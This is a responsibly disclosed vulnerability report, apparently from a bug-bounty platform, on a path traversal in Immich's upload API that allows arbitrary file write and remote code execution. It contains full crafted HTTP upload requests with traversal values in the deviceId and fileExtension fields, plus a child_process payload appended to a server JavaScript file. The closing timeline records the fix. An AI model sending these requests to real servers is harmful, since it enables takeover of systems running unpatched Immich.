Remote Code Execution (RCE) via Arbitrary File Write and Path Traversal in immich-app/immich

Valid

Reported on

Sep 15th 2022


Description

Immich constructs the path, filename, and file extension of uploaded files from improperly sanitized user input. Therefore, the upload function is vulnerable to a path traversal attack leading to arbitrary file write. This can lead to RCE by overwriting JavaScript files.

Proof of Concept

As we can see in the linked occurence, the file path is constructed by appending the HTTP parameter deviceId to a base path, the file name is constructed by appending the parameter HTTP fileExtension. This allows us to manipulate a file upload request in such a way, that we can upload arbitrary files. Note that non-existing folders are created by the web application. This only works if the user running the web application is allowed to write in the target destination. In my test case, the web application is running as root, i.e. the web application can write files everywhere.

The manipulated request to write to /path/traversal/poc.txt looks like this:

POST /api/asset/upload HTTP/1.1
Host: 10.0.2.15:2283
Content-Type: multipart/form-data; boundary=XXX
Content-Length: 773
Connection: close
Cookie: immich_access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJjNWRhYTE0MC1jYTEzLTQxOGYtYjFkMy0wNzZjNTRhZTgyYTAiLCJlbWFpbCI6Im5vdGFuYWRtaW5AdGVzdC5jb20iLCJpYXQiOjE2NjMyODM4MDUsImV4cCI6MTY2Mzg4ODYwNX0.huMeAjpqSyfqvn-FmNge6zcir9w50jegD2ZnQmqw_7w; immich_is_authenticated=true

--XXX
Content-Disposition: form-data; name="deviceAssetId"

pathtraversal.poc
--XXX
Content-Disposition: form-data; name="deviceId"

../../../../../../../path/traversal
--XXX
Content-Disposition: form-data; name="assetType"

asd
--XXX
Content-Disposition: form-data; name="createdAt"

2022-09-05T11:24:43.312Z
--XXX
Content-Disposition: form-data; name="modifiedAt"

2022-09-05T11:24:43.312Z
--XXX
Content-Disposition: form-data; name="isFavorite"

false
--XXX
Content-Disposition: form-data; name="duration"

0:00:00.000000
--XXX
Content-Disposition: form-data; name="fileExtension"

/../poc.txt
--XXX
Content-Disposition: form-data; name="assetData"; filename="poc.txt"
Content-Type: image/jpeg

this is a path traversal poc
--XXX--

When checking the filesystem, we can see that the file /path/traversal/poc.txt has been written.

Escalation to Remote Code Execution (RCE)

In order to escalate the vulnerabiltiy to RCE, we can overwrite any JS file with our payload. The payload gets executed when the web application is restarted. For the PoC, we will use the file ./dist/apps/immich/apps/immich/src/constants/jwt.constant.js:

"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.jwtSecret = void 0;
exports.jwtSecret = process.env.JWT_SECRET;

We will use the following RCE PoC payload to create the file /tmp/pwned:

require('child_process').exec('touch /tmp/pwned')

We can append the payload to the file with the following request:

POST /api/asset/upload HTTP/1.1
Host: 10.0.2.15:2283
Content-Type: multipart/form-data; boundary=XXX
Content-Length: 974
Connection: close
Cookie: immich_access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI4N2M5OGRiNy05NDhkLTRhM2YtODgwYS01ZTZkOWIwNGY1ZjAiLCJlbWFpbCI6Im5vdGFuYWRtaW5AdGVzdC5jb20iLCJpYXQiOjE2NjMzMTI3OTksImV4cCI6MTY2MzkxNzU5OX0.jylfZFvURjaEFsyGijuZk552qr_FDjMtjAkLSYH0x-M; immich_is_authenticated=true

--XXX
Content-Disposition: form-data; name="deviceAssetId"

pathtraversal.poc
--XXX
Content-Disposition: form-data; name="deviceId"

../../../dist/apps/immich/apps/immich/src/constants/
--XXX
Content-Disposition: form-data; name="assetType"

asd
--XXX
Content-Disposition: form-data; name="createdAt"

2022-09-05T11:24:43.312Z
--XXX
Content-Disposition: form-data; name="modifiedAt"

2022-09-05T11:24:43.312Z
--XXX
Content-Disposition: form-data; name="isFavorite"

false
--XXX
Content-Disposition: form-data; name="duration"

0:00:00.000000
--XXX
Content-Disposition: form-data; name="fileExtension"

/../jwt.constant.js
--XXX
Content-Disposition: form-data; name="assetData"; filename="poc.txt"
Content-Type: image/jpeg

"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.jwtSecret = void 0;
exports.jwtSecret = process.env.JWT_SECRET;
require('child_process').exec('touch /tmp/pwned')

--XXX--

In order for the changes to take effect, the attacker has to wait until the web application is restarted. We can simulate this by stopping and then starting the docker container:

$docker stop immich-app_immich-server_1
$docker start immich-app_immich-server_1

After this, verify that the PoC file has been created. This allows an attacker to execute arbitrary commands on the system.

Impact

The impact is an arbitrary file write. An attacker can (over-)write arbitrary files on the filesystem with the permissions of the user running the web application. This can be escalated to RCE by overwriting JavaScript files. However, the RCE is only triggered after the web application has been restarted.

Occurrences

The path and filename are constructed from user input without sanitization.

We are processing your report and will contact the immich-app/immich team within 24 hours. 7 days ago
vautia modified the report
7 days ago
We have contacted a member of the immich-app/immich team and are waiting to hear back 5 days ago
immich-app/immich maintainer validated this vulnerability 2 days ago
vautia has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
immich-app/immich maintainer confirmed that a fix has been merged on e3ccc3 2 days ago
The fix bounty has been dropped
to join this conversation